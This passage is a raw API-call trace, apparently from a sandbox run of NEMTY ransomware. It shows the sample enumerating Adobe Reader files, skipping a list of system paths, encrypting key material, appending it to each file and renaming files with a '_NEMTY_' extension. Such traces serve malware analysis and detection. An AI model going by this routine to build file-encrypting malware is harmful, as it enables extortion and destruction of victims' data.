cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.FRA", lpUsedDefaultChar=0x0) returned 11 [0170.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.402] Sleep (dwMilliseconds=0x5) [0170.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19387130, dwHighDateTime=0x1d561e8)) [0170.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19387130, dwHighDateTime=0x1d561e8)) [0170.412] GetLastError () returned 0x0 [0170.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.412] GetLastError () returned 0x0 [0170.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.412] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.412] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.413] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.413] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="aUHJji+9Bdl5AqHKWqzCP4ISfu+X7TJB4qBl09uae2WHJiYDYx/s1BsOEuxlvngq\r\n/2D1pLimGOkP+Ix9W6uzTbNuhq017Qc3p0nf0+3eRBJRYHObSwP6POtAvLmV9DxI\r\nSULfCHXQXqrjUAq+gJ60sPDTTn6/B4FT+YEqEo9Lv5pgpswRRIVaIW6DD9iK5hsk\r\nEyhfl4K93L7TOqV56MMlYS6nBBGh1F0rHhFQS2uNCzVx6SnffiFr1Qt85K4PiyyU\r\ntw9iWyVcbu6oyCflzE2+p6YlKGN1uwahOBPlLOAy9U/Voxz+vPzD4+XByYxMIxrW\r\nOm3M7HHeL8KYu4picSJmQg==\r\n", pcchString=0x653e91c) returned 1 [0170.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.413] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.413] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=8192) returned 1 [0170.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0170.413] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.413] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x2000, lpOverlapped=0x0) returned 1 [0170.415] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.415] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x2000, lpOverlapped=0x0) returned 1 [0170.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.415] SetFilePointer (in: hFile=0x254, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0170.415] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.416] CloseHandle (hObject=0x254) returned 1 [0170.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.416] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.fra._nemty_kgobjgd_")) returned 1 [0170.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.417] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.HRV", cAlternateFileName="")) returned 1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2=".") returned 1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="..") returned 1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="...") returned 1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="windows") returned -1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="$RECYCLE.BIN") returned 1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="rsa") returned -1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="NTDETECT.COM") returned -1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="ntldr") returned -1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="MSDOS.SYS") returned 1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="IO.SYS") returned 1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="boot.ini") returned 1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="boot.ini") returned 1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="ntuser.dat") returned -1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="desktop.ini") returned 1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="CONFIG.SYS") returned 1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="RECYCLER") returned -1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="BOOTSECT.BAK") returned 1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="bootmgr") returned 1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="programdata") returned -1 [0170.417] lstrcmpiW (lpString1="nppdf32.HRV", lpString2="appdata") returned 1 [0170.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HRV", lpUsedDefaultChar=0x0) returned 11 [0170.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HRV", lpUsedDefaultChar=0x0) returned 11 [0170.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HRV", lpUsedDefaultChar=0x0) returned 11 [0170.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HRV", lpUsedDefaultChar=0x0) returned 11 [0170.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.418] Sleep (dwMilliseconds=0x5) [0170.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x193ad290, dwHighDateTime=0x1d561e8)) [0170.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x193ad290, dwHighDateTime=0x1d561e8)) [0170.428] GetLastError () returned 0x0 [0170.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.428] GetLastError () returned 0x0 [0170.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.428] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.428] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.428] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.428] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="kpB5HRHgPibVBU5D7X8zFSUQuxVXaS+fhjbBWmiRppS6kSCk7CBgTPbkQ7zyladO\r\n/eV4xDA6k2W0Ni/IOzULq/BNayWmaEHWHalwZGjfYF3BGjXTfKGIjmUq/Rz5Y7zZ\r\nyMQgSjsW3FxrJMvXTtdP8v6ECKH+1dMzmpWT58553zeSeKoaiq4aBYsdy5VkOLBS\r\niQQ0N5ht0e6iYgF6TdSJ3Ye52MyaATD+D5TaX++5Ccc8AmsJekM4KvJv7SkZJKJa\r\nSsYEKFwItO6qlWkBoNQY6Vjtw/3usKa/b7lsftaMhY5F3lPb6n40MI+4pQnscavP\r\n9vJck8iRdWexFyaMAwU9WQ==\r\n", pcchString=0x653e91c) returned 1 [0170.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.428] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.429] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.429] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.429] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.431] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.431] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.431] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.431] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.431] CloseHandle (hObject=0x254) returned 1 [0170.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.431] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.hrv._nemty_kgobjgd_")) returned 1 [0170.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.432] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.HUN", cAlternateFileName="")) returned 1 [0170.432] lstrcmpiW (lpString1="nppdf32.HUN", lpString2=".") returned 1 [0170.432] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="..") returned 1 [0170.432] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="...") returned 1 [0170.432] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="windows") returned -1 [0170.432] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="$RECYCLE.BIN") returned 1 [0170.432] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="rsa") returned -1 [0170.432] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="NTDETECT.COM") returned -1 [0170.432] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="ntldr") returned -1 [0170.432] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="MSDOS.SYS") returned 1 [0170.432] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="IO.SYS") returned 1 [0170.432] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="boot.ini") returned 1 [0170.432] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="boot.ini") returned 1 [0170.432] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0170.432] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="ntuser.dat") returned -1 [0170.432] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="desktop.ini") returned 1 [0170.432] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="CONFIG.SYS") returned 1 [0170.432] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="RECYCLER") returned -1 [0170.433] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="BOOTSECT.BAK") returned 1 [0170.433] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="bootmgr") returned 1 [0170.433] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="programdata") returned -1 [0170.433] lstrcmpiW (lpString1="nppdf32.HUN", lpString2="appdata") returned 1 [0170.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HUN", lpUsedDefaultChar=0x0) returned 11 [0170.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HUN", lpUsedDefaultChar=0x0) returned 11 [0170.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.433] WideCharToMultiByte (in: CodePage=0xfde9, 